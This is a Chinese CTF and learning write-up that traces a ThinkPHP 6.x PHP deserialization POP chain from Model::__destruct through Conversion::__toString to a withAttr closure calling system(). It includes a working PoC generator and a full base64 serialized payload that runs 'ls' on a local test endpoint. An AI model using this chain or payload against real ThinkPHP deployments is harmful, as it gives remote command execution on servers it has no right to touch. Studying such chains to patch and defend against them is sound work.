從安洵杯學習thinkphp 6.x反序列化POP鏈

前言

剛剛過去的安洵杯,裏面有一道iamthinking的題目(好像是這個名字吧),裏面考察到了tp6的反序列化(通過訪問www.zip可以下載源碼),按照慣例,我還是沒有做出來,我不知道咋繞過那個正則emmmm,給沒有做題的大師傅獻上關鍵源碼吧,如果有師傅懂,歡迎評論

<?php
namespace app\controller;
use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        
        echo "<img src='../test.jpg'"."/>";
        $paylaod = @$_GET['payload'];
        if(isset($paylaod))
        {
            $url = parse_url($_SERVER['REQUEST_URI']);
            parse_str($url['query'],$query);
            foreach($query as $value)
            {
                if(preg_match("/^O/i",$value))
                {
                    die('STOP HACKING');
                    exit();
                }
            }
            unserialize($paylaod);
        }
    }
}

雖然題沒有做出來,但是tp6的反序列化POP鏈必須學習一波。

PoC獻上

<?php
namespace think\model\concern;
trait Conversion
{
}

trait Attribute
{
    private $data;
    private $withAttr = ["axin" => "system"];

    public function get()
    {
        $this->data = ["axin" => "ls"];  //你想要執行的命令,這裏的鍵值只需要保持和withAttr裏的鍵值一致即可
    }
}

namespace think;
abstract class Model{
    use model\concern\Attribute;
    use model\concern\Conversion;
    private $lazySave = false;
    protected $withEvent = false;
    private $exists = true;
    private $force = true;
    protected $field = [];
    protected $schema = [];
    protected $connection='mysql';
    protected $name;
    protected $suffix = '';
    function __construct(){
        $this->get();
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->field = [];
        $this->schema = [];
        $this->connection = 'mysql';
    }

}


namespace think\model;

use think\Model;

class Pivot extends Model
{
    function __construct($obj='')
    {
        parent::__construct();
        $this->name = $obj;
    }
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(base64_encode(serialize($b)));

大佬們好像沒有放現成的PoC,我這裏自己糊弄了一個,大家將就着看吧,下面我們就來看看整個POP鏈吧。

利用鏈分析

這次的利用鏈後半部分也就是__toString()後面的鏈條都是與tp5.2.x一樣的,只是前半條鏈不一致,奈何我之前只分析過tp5.1.x的,而5.1.x與5.2.x的區別就是後半條鏈不一致,也就是說tp5.1.x的利用鏈與tp6.x的利用鏈完全不一樣,而我在準備復現tp5.2.x的pop鏈時,用composer安裝tp5.2.x死活安不上,但是官網上又說5.2只能用composer安裝…

在這裏插入圖片描述
跑去github上提issue,結果官方回覆說沒有5.2版本了…說出來給各位師傅們避個坑

先列出利用鏈:

think\Model --> __destruct()
think\Model --> save()
think\Model --> updateData()
think\Model --> checkAllowFields()
think\Model --> db()

後半部分利用鏈(同tp 5.2後半部分利用鏈)

think\model\concern\Conversion --> __toString()
think\model\concern\Conversion --> __toJson()
think\model\concern\Conversion --> __toArray()
think\model\concern\Attribute --> getAttr()
think\model\concern\Attribute --> getValue()

可以看到我把利用鏈拆分爲了兩部分,前面一部分是到有字符串拼接操作爲止,後面一部分是從字符串拼接的魔術方法開始,一直到代碼執行的觸發點。接下來我們就一邊梳理利用鏈,一邊構造POC。

Model的__destruct方法

public function __destruct()
{
    echo "lazySave的值:".$this->lazySave."<br>";
    if ($this->lazySave) {
        $this->save();
    }
}

這裏要執行save方法,需要lazySave=true

跟進save方法,因爲我們關注的只是updateData方法,所以updateData後面的代碼我就省略掉了:

    public function save(array $data = [], string $sequence = null): bool
    {
        // 數據對象賦值
        $this->setAttrs($data);
        if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
            return false;
        }

        $result = $this->exists ? $this->updateData() : $this->insertData($sequence);
		xxxxxxxxxxxx
        return true;
    }

爲了能夠順利執行到updateData(),我們需要保證前面的if條件判斷不成立($this->isEmpth()==false和$this->trigger()==true)以及$this->exists=true

isEmpty

public function isEmpty(): bool
{
    return empty($this->data);
}

只要保證this->data不爲空就行

trigger

protected function trigger(string $event): bool
{
    if (!$this->withEvent) {
        return true;
    }

    $call = 'on' . Str::studly($event);

    try {
        if (method_exists(static::class, $call)) {
            $result = call_user_func([static::class, $call], $this);
        } elseif (is_object(self::$event) && method_exists(self::$event, 'trigger')) {
            $result = self::$event->trigger(static::class . '.' . $event, $this);
            $result = empty($result) ? true : end($result);
        } else {
            $result = true;
        }

        return false === $result ? false : true;
    } catch (ModelEventException $e) {
        return false;
    }
}

看似這麼長一串,但是我們只需要令withEvent=false就可以直接發揮true,回到save函數,接下來再令$this->exists==true,然後進入updateData()

    protected function updateData(): bool
    {
        echo "updateData執行-----<br>";
        // 事件回調
        if (false === $this->trigger('BeforeUpdate')) {  // 經過我們之前的設置,這兒直接跳過
            return false;
        }

        $this->checkData();

        // 獲取有更新的數據
        $data = $this->getChangedData();

        if (empty($data)) {
            // 關聯更新
            if (!empty($this->relationWrite)) {
                $this->autoRelationUpdate();
            }

            return true;
        }

        if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
            // 自動寫入更新時間
            $data[$this->updateTime]       = $this->autoWriteTimestamp($this->updateTime);
            $this->data[$this->updateTime] = $data[$this->updateTime];
        }

        // 檢查允許字段
        $allowFields = $this->checkAllowFields();

        xxxxxxxxx

爲了能夠調用到checkAllowFields(),還是需要保證前面不直接return,所以$data不能爲空,所以我們跟進getChangedData()

public function getChangedData(): array
{
    $data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
        if ((empty($a) || empty($b)) && $a !== $b) {
            return 1;
        }

        return is_object($a) || $a != $b ? 1 : 0;
    });

    // 只讀字段不允許更新
    foreach ($this->readonly as $key => $field) {
        if (isset($data[$field])) {
            unset($data[$field]);
        }
    }

    return $data;
}

第二個foreach不需要在意,我們這裏令$this->force==true直接返回我們之前自定義的非空data,回到updateData(),後面會執行到if判斷,但是不影響我們的流程,忽略,這就進入了checkAllowFields()

protected function checkAllowFields(): array
{
    echo "進入checkAllowFields()函數<br>";
    // 檢測字段
    if (empty($this->field)) {
        if (!empty($this->schema)) {
            $this->field = array_keys(array_merge($this->schema, $this->jsonType));
        } else {
            $query = $this->db();
            $table = $this->table ? $this->table . $this->suffix : $query->getTable();

            $this->field = $query->getConnection()->getTableFields($table);
        }

        return $this->field;
    }

   
    xxxxxxx
}

爲了執行db(),令$this->schema$this->field爲空,進入db()

public function db($scope = []): Query
    {
        echo "進入db()函數<br>";
        /** @var Query $query */
        echo "db函數中的變量值如下:<br>";
        echo "connection=".$this->connection."<br>";
        echo "name=";var_dump($this->name);echo "<br>";
        echo "suffix=".$this->suffix."<br>";
        $query = self::$db->connect($this->connection)
            ->name($this->name . $this->suffix)
            ->pk($this->pk);
    }

在db函數裏執行了$this->name.$this->suffix這種字符串拼接操作,但是在這之前需要滿足$db->connect()也就是令$this->connection=='mysql',至此前半條鏈已經完成。我們知道了每個變量的值怎麼設置,我們還得找一個合適的類,因爲Model類是抽象類,不能實例化,我們找一個他的子類,和tp5.1一樣我們還是用Pivot類來構造PoC,不難構造出如下半成品:

namespace think;
abstract class Model{
    use model\concern\Attribute;
    use model\concern\Conversion;
    private $lazySave = false;
    protected $withEvent = false;
    private $exists = true;
    private $force = true;
    protected $field = [];
    protected $schema = [];
    protected $connection='mysql';
    protected $name;
    protected $suffix = '';
    function __construct(){
        $this->get();
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->field = [];
        $this->schema = [];
        $this->connection = 'mysql';
    }

}


namespace think\model;

use think\Model;

class Pivot extends Model
{
    
}

因爲前半條鏈已經來到了$this->name.$this->suffix,那麼無論是name還是suffix連接後半條鏈都是可以的,重要的就是這後半條鏈從那個類開始,漏洞作者找到Conversion類,其中他的魔術方法__toString如下:

public function __toString()
{
    return $this->toJson();
}

繼續跟toJson:

public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
     return json_encode($this->toArray(), $options);
}

跟進toArray:

    public function toArray(): array
    {
        echo "進入toArray函數!!!<br>";
        $item       = [];
        $hasVisible = false;

        foreach ($this->visible as $key => $val) {
            xxxxxx
        }

        foreach ($this->hidden as $key => $val) {
            xxxxxx
        }

        // 合併關聯數據
        $data = array_merge($this->data, $this->relation); //$data=["axin"=>"ls"]

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 關聯模型對象
                if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
                    $val->visible($this->visible[$key]);
                } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
                    $val->hidden($this->hidden[$key]);
                }
                // 關聯模型對象
                if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
                    $item[$key] = $val->toArray();
                }
            } elseif (isset($this->visible[$key])) {
                $item[$key] = $this->getAttr($key);
            } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
                $item[$key] = $this->getAttr($key);
            }
        }

       xxxxxx
        return $item;
    }

根據我最開始給出的poc,$data=["axin"=>"ls"],所以會來到最後一個getAttr()函數處,我們跟進

public function getAttr(string $name)
{
    echo "進入getAttr函數!!!!<br>";
    try {
        $relation = false;
        $value    = $this->getData($name); // $name='axin'
    } catch (InvalidArgumentException $e) {
        $relation = $this->isRelationAttr($name);
        $value    = null;
    }

    return $this->getValue($name, $value, $relation);
}

如果熟悉tp5.1.x pop鏈的同學肯定覺得getData的似曾相識,我們一起來看看吧:

public function getData(string $name = null)//$name='axin'
{
    echo "進入getData函數!!!!<br>";
    if (is_null($name)) {
        return $this->data;
    }

    $fieldName = $this->getRealFieldName($name);

    if (array_key_exists($fieldName, $this->data)) {
        return $this->data[$fieldName];
    } elseif (array_key_exists($fieldName, $this->relation)) {
        return $this->relation[$fieldName];
    }

    throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

跟進getRealFieldName:

protected function getRealFieldName(string $name): string  // $name = 'axin'
{
    return $this->strict ? $name : Str::snake($name);
}

這裏我們可以令$this->strict=true,這樣就會發揮‘axin’,回到getData,getData繼續執行,也就是$fieldName='axin',最後getData()返回$this->data['axin']也就是返回了’ls’。回到getAttr(),繼續執行進入getValue():

protected function getValue(string $name, $value, $relation = false)
{
    echo "進入getValue函數!!!!<br>";
    // 檢測屬性獲取器
    $fieldName = $this->getRealFieldName($name); //$fieldName='axin'
    $method    = 'get' . Str::studly($name) . 'Attr';

    if (isset($this->withAttr[$fieldName])) {
        if ($relation) {
            $value = $this->getRelationValue($relation);
        }

        if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
            $value = $this->getJsonValue($fieldName, $value);
        } else {
            echo "到達代碼執行觸發點!!!<br>";
            $closure = $this->withAttr[$fieldName];  //這裏的withAttr = ["axin"=>"system"]
            $value   = $closure($value, $this->data);
        }
    } elseif (method_exists($this, $method)) {
        xxxxxx
    } elseif (isset($this->type[$fieldName])) {
        xxxxx
    } elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) {
      xxxx
    } elseif ($relation) {
       xxxxxxxxxx
    }

    return $value;
}

這裏順序執行,默認會執行到

$closure = $this->withAttr[$fieldName];  //這裏的withAttr = ["axin"=>"system"] ,$filedName='axin'
$value   = $closure($value, $this->data);//最終執行system("ls", ["axin"=>"ls"])

可以看到最終是執行了system(“ls”, [“axin”=>“ls”]),而system函數第二個參數是可選的,也就是這種用法是合法的

注:
system ( string $command [, int &$return_var ] ) : string
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
參數

command
要執行的命令。
return_var
如果提供 return_var 參數, 則外部命令執行後的返回狀態將會被設置到此變量中。

至此,Tp5.6.x的pop鏈後半段也結束了。剩下的就是完善剛剛前半段POP鏈構造的poc了,成品也就是我最開始貼出來的那個,最後看一下我本地調試的效果,當然在調試過程中需要自己構造一個反序列化點,我直接在Index控制器中構造了一個新方法反序列化$_GET[p]

在這裏插入圖片描述然後請求/public/index.php/index/unser?p=TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjExOntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo4OiIAKgBmaWVsZCI7YTowOnt9czo5OiIAKgBzY2hlbWEiO2E6MDp7fXM6MTM6IgAqAGNvbm5lY3Rpb24iO3M6NToibXlzcWwiO3M6NzoiACoAbmFtZSI7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjExOntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo4OiIAKgBmaWVsZCI7YTowOnt9czo5OiIAKgBzY2hlbWEiO2E6MDp7fXM6MTM6IgAqAGNvbm5lY3Rpb24iO3M6NToibXlzcWwiO3M6NzoiACoAbmFtZSI7czowOiIiO3M6OToiACoAc3VmZml4IjtzOjA6IiI7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo0OiJheGluIjtzOjI6ImxzIjt9czoyMToiAHRoaW5rXE1vZGVsAHdpdGhBdHRyIjthOjE6e3M6NDoiYXhpbiI7czo2OiJzeXN0ZW0iO319czo5OiIAKgBzdWZmaXgiO3M6MDoiIjtzOjE3OiIAdGhpbmtcTW9kZWwAZGF0YSI7YToxOntzOjQ6ImF4aW4iO3M6MjoibHMiO31zOjIxOiIAdGhpbmtcTW9kZWwAd2l0aEF0dHIiO2E6MTp7czo0OiJheGluIjtzOjY6InN5c3RlbSI7fX0%3D,可以看到成功執行ls命令,起重工那些亂七八糟的輸出是我調試是自己echo的,大家在編寫反序列化poc時也可以這樣一點點確定自己寫對了沒。

在這裏插入圖片描述

參考

向大佬們看齊,respect

https://xz.aliyun.com/t/6619
https://xz.aliyun.com/t/6479
https://www.anquanke.com/post/id/187393
https://www.anquanke.com/post/id/187332

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